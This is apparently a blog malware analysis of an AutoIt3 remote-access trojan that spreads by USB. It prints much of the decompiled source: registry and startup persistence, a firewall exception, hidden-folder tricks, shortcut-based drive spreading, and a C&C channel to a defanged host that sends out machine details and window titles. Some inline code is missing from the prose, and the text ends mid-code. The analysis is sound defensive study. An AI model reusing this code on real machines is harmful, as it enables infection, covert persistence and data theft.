Hunting Coyote: A Full Analysis of the 0LIONW0 AutoIt3 RAT
Author : malisipi
Release Date :
Reading Time : 16 mins
0. Origin of the Story
I found a USB at home. And I have no clue about it contains what. I plugged it to computer and I notice a folder named as "MozillaFirefox". I was sure about it wasn't a real Firefox edition however I didn't know what is it. After opening the "MozillaFirefox" folder, I found a suspicious EXE and a bunch of LNK files. And quickly realized it is a malware especially recognizing AutoIt 3 icon on top the EXE.
1. Decompiling
Visual basic script and similar languages like it doesn't have true compiling state, they are mostly only obfuscating and convert them a basic binary format. After grabbing a AutoIt 3 decompiler, you can easily convert to source code however those obfuscations will stay as persistent. The source code that we get also have AutoIt 3 headers, which are not related with directly malware.
2. Preparation
2.1. Getting AutoIt 3
Since AutoIt 3 runtime embeds the version into metadata, it's very easy to learn. Our malware is using
3.3.8.1th version of AutoIt 3. It's important since malware not having file write operations. If we want to proxy them and log into a file, we will need correct headers with the malware. _I don't want to fix conflicts of a malware_.
Also a good notice,AutoIt3.exefrom3.3.8.1has same file withGoogleChrome.exe. So the malware is abusing the signed AutoIt 3 runtime to run it. And the malware is only dependent toGoogleChrome.a3xfile.2.2 Basic AutoIt 3 Syntax
;is command blockis used for variablesto include external AutoIt 3 scripts=is assignment and equal operator same time<>is not equal operatoris concat operatorFunc..EndFuncis function definitionIf...Then...EndIfis if operatorWhile..WEndis while loop_CONSTis consts from AutoIt 3 runtimeGlobal/Localis setting the scope of variable@erroris for handling errors3. Dynamic Analysis
Before removing the obfuscation we can run the script with function proxies and log the functions what does.
I named the decompiled file as
GoogleChrome_debug.au3and moved it into same directory which placedGoogleChrome.a3x.
Firstly we need to open a log file and create a logging function.#include <C:\Program Files (x86)\AutoIt3\Include\FileConstants.au3>
Local $logDir = "C:\logs\"
If Not FileExists($logDir) Then
DirCreate($logDir)
EndIf
Global $logFile = FileOpen($logDir & "Wolf_" & @AutoItPID & "_" & WolfRandomString(8) & ".log", $FO_APPEND)
Func WolfHowl($info)
FileWrite($logFile, $info & @CRLF & @CRLF & @CRLF & "-------------------------------------------" & @CRLF)
EndFunc
Func WolfRandomString($length)
Local $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
Local $result = ""
For $i = 1 To $length
$result &= StringMid($chars, Random(1, StringLen($chars), 1), 1)
Next
Return $result
EndFunc
WolfHowl("Started")
We created a
C:/logsfolder (if not exist) and open a log file which named asWolf_$PID_$random.log. And also created a logging function named asWolfHowlto make easier the write process in proxy part.Func WolfShellExecute($file, $params, $workdir, $verb, $shown)
WolfHowl("ShellExecute" & @CRLF & ">" & $file & @CRLF & ">" & $params & @CRLF & ">" & $workdir & @CRLF & ">" & $verb & @CRLF & ">" & $shown);
Return ShellExecute($file, StringReplace($params, ".a3x", "_debug.au3"), $workdir, $verb, $shown)
EndFunc
Func WolfInetGet($url, $file, $options, $bg)
WolfHowl("InetGet" & @CRLF & ">" & $url & @CRLF & ">" & $file & @CRLF & ">" & $options & @CRLF & ">" & $bg);
EndFunc
Func WolfRegDelete($key, $val)
WolfHowl("RegDelete" & @CRLF & ">" & $key & @CRLF & ">" & $val);
EndFunc
Func WolfTCPSend($sock, $data)
WolfHowl("TCPSend" & @CRLF & ">" & $sock & @CRLF & ">" & $data);
EndFunc
Func WolfRegRead($key, $val)
$res = RegRead($key, $val)
WolfHowl("RegRead" & @CRLF & ">" & $key & @CRLF & ">" & $val & @CRLF & "::-> " & $res);
Return $res
EndFunc
Func WolfRegWrite($k, $vn, $t, $v)
WolfHowl("RegWrite" & @CRLF & ">" & $k & @CRLF & ">" & $vn & @CRLF & ">" & $t & @CRLF & ">" & $v);
Return RegWrite($k, StringReplace($vn, ".a3x", "_debug.au3"), StringReplace($t, ".a3x", "_debug.au3"), StringReplace($v, ".a3x", "_debug.au3"))
EndFunc
Func WolfFileExists($file)
$res = FileExists($file)
WolfHowl("FileExists" & @CRLF & ">" & $file & @CRLF & "::-> " & $res);
;Return False
Return $res
EndFunc
Func WolfTCPNameToIP($name)
WolfHowl("TCPNameToIP" & @CRLF & ">" & $name);
Return "127.0.0.1"
;Return TCPNameToIP($name)
EndFunc
Func WolfFileCreateShortcut($f, $l, $w, $a, $d = "", $i = "", $h = "", $in = "", $s = "")
WolfHowl("FileCreateShortcut" & @CRLF & ">" & $f & @CRLF & ">" & $l & @CRLF & ">" & $w & @CRLF & ">" & $a & @CRLF & ">" & $d & @CRLF & ">" & $i & @CRLF & ">" & $h & @CRLF & ">" & $in & @CRLF & ">" & $s);
Return FileCreateShortcut(
StringReplace($f, ".a3x", "_debug.au3"),
StringReplace($l, ".a3x", "_debug.au3"),
StringReplace($w, ".a3x", "_debug.au3"),
StringReplace($a, ".a3x", "_debug.au3"),
$d, $i, $h, $in, $s
)
EndFunc
Func WolfEnvSet($env, $v = "")
WolfHowl("EnvSet" & @CRLF & ">" & $env & @CRLF & ">" & $v);
Return EnvSet($env, $v)
EndFunc
Func WolfWinGetTitle($title, $text = "")
$res = WinGetTitle($title, $text)
WolfHowl("WinGetTitle" & @CRLF & ">" & $title & @CRLF & ">" & $text & @CRLF & "::-> " & $res);
Return $res
EndFunc
Func WolfDirCopy($src, $dest, $f)
WolfHowl("DirCopy" & @CRLF & ">" & $src & @CRLF & ">" & $dest & @CRLF & "> " & $f);
DirCopy($src, $dest, $f)
EndFunc
Func WolfDirCreate($path)
WolfHowl("DirCreate" & @CRLF & ">" & $path);
DirCreate($path)
EndFunc
Func WolfFileSetAttrib($file, $flag, $recursive = 0)
WolfHowl("FileSetAttrib" & @CRLF & ">" & $file & @CRLF & ">" & $flag & @CRLF & "> " & $recursive);
FileSetAttrib($file, $flag, $recursive)
EndFunc
Func WolfTCPConnect($ip, $port)
WolfHowl("TCPConnect" & @CRLF & ">" & $ip & @CRLF & ">" & $port);
Return TCPConnect($ip, $port)
EndFunc
In the proxy part you will see
StringReplace($var, ".a3x", "_debug.au3"). It's one of core part of proxy. Since the process runs itself, we need to that to observe logs. If it runs unproxied version, we will not get full of logs that might be very important to us. Also inWolfTCPNameToIP, I don't resolve the address correctly to prevent calling home. I just resolved it as127.0.0.1instead of.
After we started the program and gets logs, we have same good information what it does.DirCopy
DirCopy("@ScriptDir", "C:\GoogleChrome", 1);DirCopy("C:\GoogleChrome", "c:\MozillaFirefox", 1);It copies the script directory into
C:\GoogleChromeand copies theC:\GoogleChrometoc:\MozillaFirefox. The virus is gaining persistency with that.EnvSet(SEE_MASK_NOZONECHECKS, 1)
It disables the security warning for the files that comes from third sources. Probably to prevent the warning to prevent a downloaded file by running
ShellExecute.ShellExecute("netsh" "firewall add allowedprogram ""C:\GoogleChrome\GoogleChrome.exe"" ""GoogleChrome.exe"" ENABLE", "", "", 0)
It gives a firewall exception, so the application can call home without caught by firewall.
FileCreateShortcut
It creates shortcuts into the startup folder (
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\) and folders that placed in root of drives.
By creating startup folder shortcuts, the malware gains persistency in the system.TCPNameToIP("googleads[.]publicvm[.]com")
It's probably home address, since we resolved it to
127.0.0.1. We can track the malware what will do with the address.TCPConnect("127.0.0.1", 224)
It tries opening a socket that uses 224 port. I we can understand the malware tries to connect
hxxp://googleads[.]publicvm[.]com:224/. It's probably the command-and-control (C&C) server of malware. And tries hide itself like a legit Google ad server.TCPSend(-1, "lv0LIONW0Zeus_44ED3C4A0LIONW0DESKTOP-KT50SE00LIONW0redwolf0LIONW00LIONW0WIN_8 X640LIONW00.3x Usb0LIONW0No-AntiVirus0LIONW0")
And it sending a data to C&C server. When we look at the string we can find a pattern that repeats, the
0LIONW0.
When you use the0LIONW0as delimiter, you will get["lv", "Zeus_44ED3C4A", "DESKTOP-KT50SE0", "redwolf", "", "WIN_8 X64", "0.3x Usb", "No-AntiVirus", ""]array.lv,Zeus_44EF3C4A,0.3x Usbis not much meaningful from this perspective however.0.3might be version number,Usbmight stands for spreading way. Also the44EF3C4Alooks like a hex data, it mights stands for unique id for tracking. But we need to deep-dive source code to find exactly what it means.redwolf, is username of the sandbox.WIN8 x64, Windows version and the Arch version. (Since the AutoIt version released before Windows 10, it detects as Windows 8 probably)DESKTOP-KT50SE0, is device name.No-AntiVirus, I think it's self explanatory.RegWrite
Probably for persistency. When the programs updates, probably runs this commands.
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", "C:\GoogleChrome\GoogleUpdate.lnk")RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", "C:\GoogleChrome\GoogleChrome.exe /AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x")FileSetAttrib($path, "+RSH", 0)
It changes folders attributes withRead-only,System andHidden. It's for stay hidden even checked
Show Hidden Files. Those folders will stay until uncheckHide Protected Operating System Files (Recommended).FileSetAttrib("C:\GoogleChrome", "+RSH", 0)FileSetAttrib("c:\MozillaFirefox", "+RSH", 0)RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)
It's also again a
RegWritecall. However the purpose is too different, so I grouped it different. It checksHide Protected Operating System Files (Recommended)programmatically, so the paths will be stay hidden even user unchecks the checkbox.4. Static Analysis
#NoTrayIcon
#Region
#AutoIt3Wrapper_Outfile_type=a3x
#AutoIt3Wrapper_Icon=C:\Users\xShandow\Desktop\Google-Chrome-Google-Chrome.ico
#EndRegion
#NoTrayIcon
The malware probably compiled a
xShandownamed user. And it tried using fake Google Chrome icon however _somehow_ mess that and the malware is using default AutoIt 3 logo. Because of the executable also taken from official runtime, not even tried to compile or change resources. Also it's usingto hide tray symbol of AutoIt 3. But using that two times how helps I don't know.Local $VRSRBTSPLNIRTCY = "Zeus"
$VRSRBTSPLNIRTCY &= "_" & Hex(DriveGetSerial(@HomeDrive))
operator is not a logic operator. In AutoIt3, it's used as string concatenation functionDid the Zeus remind something? It's origin of
Zeus_44EF3C4A. So44EF3C4Ais our home drive serial as encoded in hex.
Also I will aliasas.Global $DRJIEUIAOKSOTRF = "0.3x"
If FileExists("C:\GoogleChrome/MozillaFirefox.lnk") Then
$DRJIEUIAOKSOTRF = "0.3x Usb"
EndIf
Also you should remember the
0.3x UsbinTCPSend. Usbpart probably for reporting the malware persistence.
I will aliasas.$SMHPXZJFTZGXFVV = "0LIONW0"
And the delimiter found here.
If @ScriptDir <> "C:\GoogleChrome" Then
If "vbs" = "exe" Then
; Dead Code, I skipped
Else
DirCopy(@ScriptDir, "C:\GoogleChrome", 1)
ShellExecute("C:\GoogleChrome\GoogleChrome.exe", "/AutoIt3ExecuteScript C:\GoogleChrome\GoogleChrome.a3x", "", "", @SW_HIDE)
ShellExecute("cmd.exe", "/c start C:\GoogleChrome/GoogleChrome.exe C:\GoogleChrome/GoogleChrome.a3x", "", @SW_HIDE)
EndIf
FileSetAttrib("C:\GoogleChrome", "+RSH")
Exit
EndIf
It's copying the malware directory into
C:/GoogleChromeif already not working there. Starts two copy of itself, and hides the malware directory as System file (like we found the analysis). Then exits.JOBGBZLZCREXIWE() ; SetEnvNFirewall()
Func CYNFMPPBRAWIIOK()
EnvSet("SEE_MASK_NOZONECHECKS", "1")
ShellExecute("netsh", "firewall add allowedprogram ""C:\Program Files (x86)\AutoIt3\AutoIt3.exe"" ""GoogleChrome.exe"" ENABLE")
EndFunc
It's sets the SEE_MASK_NOZONECHECKS as
1and adds a firewall exception for the malware and AutoIt 3 executable.
I will aliasJOBGBZLZCREXIWEasSetEnvNFirewall.CYNFMPPBRAWIIOK() ; RegWriteAndStartupShortcuts()
Func CYNFMPPBRAWIIOK()
If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome", "REG_SZ", @ScriptDir & "\WindowsUpdate.lnk")
EndIf
If RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate", "REG_SZ", @ScriptDir & "\GoogleUpdate.lnk")
EndIf
If RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
If RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash") <> @ScriptDir & "\WindowsUpdate.lnk" Then
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash", "REG_SZ", @ScriptDir & "\GoogleChrome.exe /AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
If FileExists(@StartupCommonDir & "\WindowsUpdate.lnk") = False Then
FileCreateShortcut("cmd.exe", @StartupCommonDir & "\Google Chrome.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
EndIf
If FileExists(@StartupCommonDir & "\GoogleUpdate.lnk") = False Then
FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @StartupCommonDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x")
EndIf
EndFunc
It's creating the
RegWritecalls and creates start-up folder shortcuts here. However since half of checksRegReadandFileExistschecks different key or path instead of that is actually changing, the conditions always fail and write or create them again when every time the function called.
I will aliasCYNFMPPBRAWIIOKasRegWriteAndStartupShortcutsBXTXSVPWSNIXJEB() ; AddScriptDirShortcuts()
Func BXTXSVPWSNIXJEB()
If FileExists(@ScriptDir & "\WindowsUpdate.lnk") = False Then
FileCreateShortcut("cmd.exe", @ScriptDir & "\WindowsUpdate.lnk", "", "/c start " & @ScriptDir & "\GoogleChrome.exe " & @ScriptDir & "\GoogleChrome.a3x & exit")
EndIf
If FileExists(@ScriptDir & "\GoogleUpdate.lnk") = False Then
FileCreateShortcut(@ScriptDir & "\GoogleChrome.exe", @ScriptDir & "\GoogleUpdate.lnk", "", "/AutoIt3ExecuteScript C:\Users\redwolf\Desktop\GoogleChrome.a3x")
EndIf
EndFunc
It's creating GoogleChrome & WindowsUpdate shortcuts for
.
I will aliasBXTXSVPWSNIXJEBasAddScriptDirShortcutsQHTAJWUVOFPNRCA("ALL") ; AddShortcutsNHideSystemFiles()
QHTAJWUVOFPNRCA($UPJTUGAXAUXFQDY = "REMOVABLE");Function definition is important. When the function called without parameter, it will runs for removable devices.
It runs
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", REG_DWORD, 0)to hide System files hidden.$VMOWJBGXRMCIZPC = DriveGetDrive($UPJTUGAXAUXFQDY), it get list of all or removable drives (dependent toparameter)In AutoIt 3, when a internal function returns array, mostly returns in a format like
$array_size=n, $param_1, ..., $param_n. Also this rule applies toDriveGetDrive.And the function starts to iterate by using
variable.$VMOWJBGXRMCIZPC[$JLVHCYFDDTVCTZJ]is letter of the drive, likeC:,D:etc. I will assign it tovariable to make everything more readable.DriveStatus($drive) = "READY", checks the status of drive.DriveSpaceFree($drive) > 10, And checks storage has more capacity than 10 MB.If FileExists($drive & "\MozillaFirefox") = 0 Then FileDelete($drive & "\MozillaFirefox"), it deletesMozillaFirefoxfolder that placed in drives root (if exist).DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), then it copies the script folder toMozillaFirefoxfolder.FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it setsMozillaFirefoxfolder asRead-only,System andHidden.Ands starts iterate for every file in root of drive by using
FileFindFirstFileandFileFindNextFile. Iterator ishowever i will call it asfor readability.Checks is it folder by using
StringInStr(FileGetAttrib(...), "D")and also checks the folder name is not equal to.and...Creates two malicious shortcuts for every folder in the drive
FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\" & $folder, "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)FileCreateShortcut("cmd.exe", $drive & "\" & $folder & "\My Music", "", "/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)Sleep(40), Sleeps 40 ms. Probably for avoiding high CPU/Disk usage.It's core logic for spreading device to device. It's using removable drives as jump table, and spreads by running the shortcut file. Also that's explaining why I found the virus in a folder named as
MozillaFirefoxthat placed on root of the USB.explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31)pattern is basicallyexplorer %CD%. The patterns that given as a parameter to malware, might shows the malware was wanting to execute commands from command line parameters. However the malware don't have any mechanism for that.
But since the command run viacmd.exe, thesymbol was handled by cmd.exe and won't passed to application. So probably the malware might expected to have/c start ..\MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x & explorer %cd%parameter to open explorer and behave like normal folder shortcut. However those of all is just assumptions and the shortcuts are badly formatted. So they just trigger the executable.
I will alias theQHTAJWUVOFPNRCAasAddShortcutsNHideSystemFiles.
Also you can remember we found most of that already in static analysis section. Time is solving what we cannot find in dynamic analysis.JTKCXJWJGPEWDWJ() ; AddMyFolders()
It has a lot of similar parts to
AddShortcutsNHideSystemFiles(akaQHTAJWUVOFPNRCA).$RVHWXRAJIWSBONA = DriveGetDrive("REMOVABLE"), it gets a list of removable drivesAnd the function starts to iterate by using
variable.$RVHWXRAJIWSBONA[$UYQCHVSHUXEVFXD]is letter of the drive, likeC:,D:etc. I will assign it tovariable to make everything more readable.DriveStatus($drive) = "READY", checks the status of drive.DriveSpaceFree($drive) > 1024, And checks storage has more capacity than 1024 MB.DirCopy(@ScriptDir, $drive & "\MozillaFirefox", 1), it copies the script folder toMozillaFirefoxfolder.FileSetAttrib($drive & "\MozillaFirefox", "+RSH"), it setsMozillaFirefoxfolder asRead-only,System andHidden.Creates two shortcuts named as
DocumentsandDownloadsto root of device.FileCreateShortcut("cmd.exe", $drive & "\Documents", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)FileCreateShortcut("cmd.exe", $drive & "\Downloads", "", "/c start MozillaFirefox\GoogleChrome.exe /AutoIt3ExecuteScript ..\MozillaFirefox\GoogleChrome.a3x explorer ChrW(4+33) & ChrW(95-28) & ChrW(97-29) & ChrW(6+31) & exit", "", "%windir%\system32\SHELL32.dll", "", 3, @SW_SHOWMINNOACTIVE)If
$drive & "\My Games"folder not exist, it creates a directory at$drive & "\My Games".If
$drive & "\My Pictures"folder not exist, it creates a directory at$drive & "\My Games". There's no typo. Probably malware author forget to change folder name, it shows the _quality_ of the malware.If
$drive & "\My Videos"folder not exist, it creates a directory at$drive & "\My Videos".If
$drive & "\My Movies"folder not exist, it creates a directory at$drive & "\My Movies"andERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");.Then calls
AddShortcutsNHideSystemFiles(akaQHTAJWUVOFPNRCA) (with default"REMOVABLE"parameter).I will alias the
JTKCXJWJGPEWDWJasAddMyFolders.Global $YLZDSLGVNMGLHEL = "googleads[.]publicvm[.]com"
Global $TMDVEICCZCVSTZO = 224
Global $JDSQSBWWYOBBUNS = -1 ; $TCP_Socket
Global $VLKUJUBFNIMZXZY = 0; ; $TCP_Connection_State
Func FGHHVXEASQLUIKK() ; ResolveAddressAndConnect()
$VLKUJUBFNIMZXZY = 0
TCPCloseSocket($JDSQSBWWYOBBUNS)
TCPShutdown()
TCPStartup()
$JDSQSBWWYOBBUNS = -1
$JDSQSBWWYOBBUNS = TCPConnect(TCPNameToIP($YLZDSLGVNMGLHEL), $TMDVEICCZCVSTZO)
$VLKUJUBFNIMZXZY = 0
EndFunc
It tries to connect C&C server here like we find at dynamic analysis.
I will alias
asandasfor readability. And alias the functionFGHHVXEASQLUIKKasResolveAddressAndConnect.Func ERQSAKPMOAIZNXP($OPGATNEJQLBURNA) ; DataReport($data)
$OPGATNEJQLBURNA = StringReplace($OPGATNEJQLBURNA, @CRLF, "|")
TCPSend($TCP_Socket, $OPGATNEJQLBURNA & @CRLF)
If @error Then
$TCP_Connection_State = 1
Return 0
Else
Return 1
EndIf
EndFunc
It's a data reporter function to C&C server, it gets the
parameter and replaces CRLF with"|"and sends via the socket.
I will alias the functionERQSAKPMOAIZNXPasDataReport.
And we have learned what happens byERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");function call. When the virus infects a new removable drive, it calls home and reports that.
And fun fact,ERQSAKPMOAIZNXP("MSG0LIONW0 Spreading !!");can be run before the socket opening. If you boot your computer with removable device attached or first run of the malware,AddMyFolderswill be run before firstResolveAddressAndConnectcall. So, it will always fail in those situations.Func RKCGDIKLHXBSMSW() ; GetCommandFromCNC()
If $TCP_Socket < 1 Then
$TCP_Connection_State = 1
Return -1
EndIf
$TWZCNPRQZYRMAHS = TCPRecv($TCP_Socket, 1024, 0)
If @error Then
$TCP_Connection_State = 1
Return -1
EndIf
; Dead code elimination, some concat and string operations however none of them used really
If StringInStr($TWZCNPRQZYRMAHS, @CRLF) Then
Return $TWZCNPRQZYRMAHS
EndIf
Return ""
EndFunc
It's basically checks socket and receive command from C&C server. If the answer
hasin it, returns with the answer. If not, returns with"". And you should notice, if it encounter with an error, returns with-1.
I will alias the functionRKCGDIKLHXBSMSWasGetCommandFromCNC.If _Singleton("GoogleChrome.exe", 1) = 0 Then
Exit
EndIf
And it uses singleton here, probably prevent starting multiple instance and opening multiple socket with C&C server.
Func AV() ; The only function that I will not alias to something probably in this Writeup
Local $AVNAME
If @OSVersion = "WIN_XP" Then
$OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter")
Else
$OWMI = ObjGet("winmgmts:\\localhost\root\SecurityCenter2")
EndIf
$COLITEMS = $OWMI.ExecQuery("Select * from AntiVirusProduct")
For $OBJANTIVIRUSPRODUCT In $COLITEMS
$AVNAME = $OBJANTIVIRUSPRODUCT.displayName
Next
If $AVNAME = False Then
Return "No-AntiVirus"
Else
Return $AVNAME
EndIf
EndFunc
It's self explanatory, it iterates SecurityCenter entries and returns last anti-virus provider. If an anti-virus not exist, returns
No-AntiVirus. Also did you rememberNo-AntiVirusentry, we found it in static analysis.Func XFNYFKEFWEQHZMH() ; BrokenUninstall()
DataReport("MSG0LIONW0 Uninstall !!")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "Google Chrome")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "JavaUpdate")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeUpdate")
RegDelete("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run", "NewJavaInstall")
RegDelete("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "AdopeFlash")
ShellExecute("netsh", "firewall delete allowedprogram " & @AutoItExe, "", "", @SW_HIDE)
ShellExecute(@ComSpec, "/k ping 0 & del " & @AutoItExe & " & exit", "", "", @SW_HIDE)
Exit
EndFunc
Whoa, did we find a uninstall function in this malware? Cool! _However did you not expect it is well working, right?_ It only deletes the the regedit keys, the malware that placed
C:\GoogleChrome\GoogleChrome.exe, removes the firewall exception. And remove itself. The shortcuts andC:\MozillaFirefoxstill exist and can the malware spread it again.
But i liked the way to remove executable, it starts acmd.exeandping 0to sleep the malware exits while ping is sending thencmd.exeremoves bydel @AutoItExepart.
Also it's sendingMSG0LIONW0 Uninstall !!"message to server.$ZKXUZCJNQFHAJKU = 4 ; $counter_to_spread
$BJLTKXJDEYWQECD = 0 ; $counter_to_steal
$SSPGCTZBCDDBOHR = "" ; $last_window_title
While 1
We have a bunch of variables and we are going into the main loop.
$counter_to_spread += 1
If $counter_to_spread = 5 Then
$counter_to_spread = 0
RegWriteAndStartupShortcuts()
AddMyFolders()
EndIf
It have basically
(++counter_to_spread%5 == 0)condition and triggers the functions to spread removable devices and sure the malware is still persistent. $EWFVJGZMZAZBQSC = GetCommandFromCNC() ; $CNC_command
It gets command from C&C to process.
Select
Case $CNC_command = -1 Or $TCP_Connection_State = 1
Sleep(3000)
ResolveAddressAndConnect()
DataReport("lv0LIONW0" & $Zeus_drive_serial & "0LIONW0" & @ComputerName & "0LIONW0" & @UserName & "0LIONW0" & "0LIONW0" & @OSVersion & " " & @OSArch & "0LIONW0" & $03xUsb & "0LIONW0" & AV() & "0LIONW0")
It checks the status of socket. And if connection not initialized or terminated, it is trying to start connection here and report the computer information. That we found already in static analysis. Also the
Sleepcall probably to prevent triggering an anti-virus and keep hidden in other network requests.
Also it's the only call ofResolveAddressAndConnectfunction in the malware. The all previousDataReportcalls will always fail cause from that. Case $CNC_command = ""
$counter_to_steal += 1
Sleep(1000)
If $counter_to_steal = 8 Then
$counter_to_steal = 0
$CALKNAYQNVAYKLR = WinGetTitle("")
If $CALKNAYQNVAYKLR <> $last_window_title Then
DataReport("ac0LIONW0" & $CALKNAYQNVAYKLR)
EndIf
$last_window_title = $CALKNAYQNVAYKLR
$CALKNAYQNVAYKLR = ""
EndIf
If socket connected successfully, it will capture current window title via
WinGetTitle("")in every 8 seconds. If the current title is not equal to previous title, it will reported viaDataReport. Case $CNC_command <> ""
$XOHRZSTRJNJQZYB = StringSplit($CNC_command, "0LIONW0", 1) ; $CNC_command_list
If
is not equal to"", it tries to split using the delimiter and assign to.Note:
StringSplitis also using AutoIt 3 Array returning format. If $CNC_command_list[0] > 0 Then